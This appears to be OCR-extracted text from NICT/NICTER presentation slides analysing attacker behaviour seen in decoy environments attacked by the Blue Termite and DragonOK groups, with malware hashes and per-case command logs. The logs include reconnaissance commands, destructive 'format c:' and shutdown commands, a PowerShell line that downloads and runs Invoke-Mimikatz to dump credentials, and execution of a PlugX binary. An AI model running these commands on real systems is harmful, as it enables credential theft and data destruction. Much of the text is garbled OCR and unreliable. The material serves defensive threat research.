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Cyber Kill Chain
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— vs. Blue Termite(
— vs. DragonOK

C&C

> w DR

)

C&C

C&C

2015/08/04
0 2015/08/04

2016/03/25
1 2016/04/11

2016/05/27
2 2016/05/31

2016/08/18
3 2016/09/30

National Institute of
Information and
Communications
Technology

7af68ddba0lba2d69a8ef7c17430e5d0
Blue Termite

251c0f90bfe9a302c471bf352b259874
DragonOK

acc2e5f8abd7426574712fe6al3c2342
DragonOK

€938690a0558d070528a7cab4de0e9b3
DragonOK

JP

us

SG

us

AD
AD = Active Directory

AD
AD

AD

10

NICTER

Network Incident analysis Center for Tactical Emergency Response



r )

® 30504 iy b | e VIR Sl
® 50 ®Windows 7 ™ --A?f

v ADIZO O ! i
o W< OhDHOE2HODO g Y . S

v 70 %%, DHCP, DNS, T &y

AD, 7 74 )00, etc. - SO5(ABJglodal- J5(AB)S
Louter

0 hiﬁgr ¥ hé:E? - quy'

SO5{AE yhma- FE{ AR ) Lﬁ(pjﬂm-:ﬂu]: SRS o lient- 150 B8

[

! %1~ - I3 107 i e —
2 ] # 2 ] £
- 3 [ ¥ £ 3 [
: H ] H ] L ]
= 7 3 5 sy ‘E = ' ¥ 2 = r e
£
winh |l §gppies WEEE | g [ginteeeh § gypeaio § l‘iii rrlli
. . » > " .ﬂﬂL.
- -."l gl o =l - =
- witp et 1] i .-“. S ]
e o e
L) 10. 1.6 ] 118

1"

NICTER

Network Incident analysis Center for Tactical Emergency Response

Case 0 (vs. Blue Termite)

1 ipconfig /all
2 tasklist -v
3 tasklist -v
4 net view /domain
5 whoami
6 net use
7 dir c:¥users¥ktakahashi¥
8 dir c:¥users¥ktakahashi¥Desktop
9 format c: /s
10 shutdown -t O
11 format c:¥
12 format c:

13  shutdown /s /7t O
| ]

m format  shutdown
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Case 1 (vs. DragonOK)

1 net view

2 systeminfo

3 whoami

4 tasklist

5 dir c:¥users¥nito¥desktop¥

6 dir "c:¥program files¥"

7 dir d:¥

8 dir c:¥users¥nito¥

9 dir c:¥users¥nito¥documents¥

10 dir c:¥users¥nito¥downloads¥

11 dir ¥x03"c:¥Program Files (x86)¥"
12 netstat —an

13 dir c:¥users¥nito¥documents¥¥x03Credential

14 ipconfig /all

m whoami
.
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15
16
17
18
19
20
21
22
23
24
25
26

27

/

whomai /groups | find /i "level”
whoami

whoami /groups

net group

net view

arp -a

netstat —ano

ping 10.136.8.4 —n 1 <IP addr. of proxy>
tasklist

netstat —an

net view

tracert

net view ¥¥win05

whomai
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Case 2 (vs. DragonOK)

1 ipconfig Zall
2 cd Users¥ktakahashi¥Desktop
3 dir

4 [download] [MembersOfGeneralAffair.xlsx]

6 dir

7 net view /domain
8 z: <mount a file server named “FS”’>
9 dir

10 cd ??2016

11 dir

12 tasklist

13 net view

14 <skip L14-18, “net user” x 4 and “whoami”>

19 cd ¥

= cd
m L35-36

National Institute of
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NCIET

20
21
22
23
25
26
27
28
29
30
31
32
33
35
36

net view

dir ¥¥SOUMUO4¥
z:

<skip L23,24, “cd ???” & “cd ????”>

cd *2011

dir

cd..

cd *2016

dir

cd..

cd *2015

dir

<skip L33-34, net view & group w/ /domain>
ping FS -—n 1

net view ¥¥10.136.8.10

<IP addr. of FS>
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Case 3 (vs. DragonOK)

1 <skip L1-8, investigating network/host in a similar
way In previous cases>

9 net view /doamin
10 net view /domain

11 <skip L11-16, investigating network/host in a
similar way in previous cases>

17 ver

18 powershell IEX (New-Object
Net.WebClient) .DownloadString(“URL”);
Invoke-Mimikatz-DumpCerts

19 <skip L19-21, listing several folders using the dir
command

22 dir *.txt

23 <skip L19-21, investigating network/host in a
similar way in previous cases>

40 dir c:¥windows¥temp¥3.exe

3.exe
41 c:¥windows¥temp¥3.exe

Yoy

PlugX

42 <skip L42-54, listing several folders using the dir
command>

55 dir
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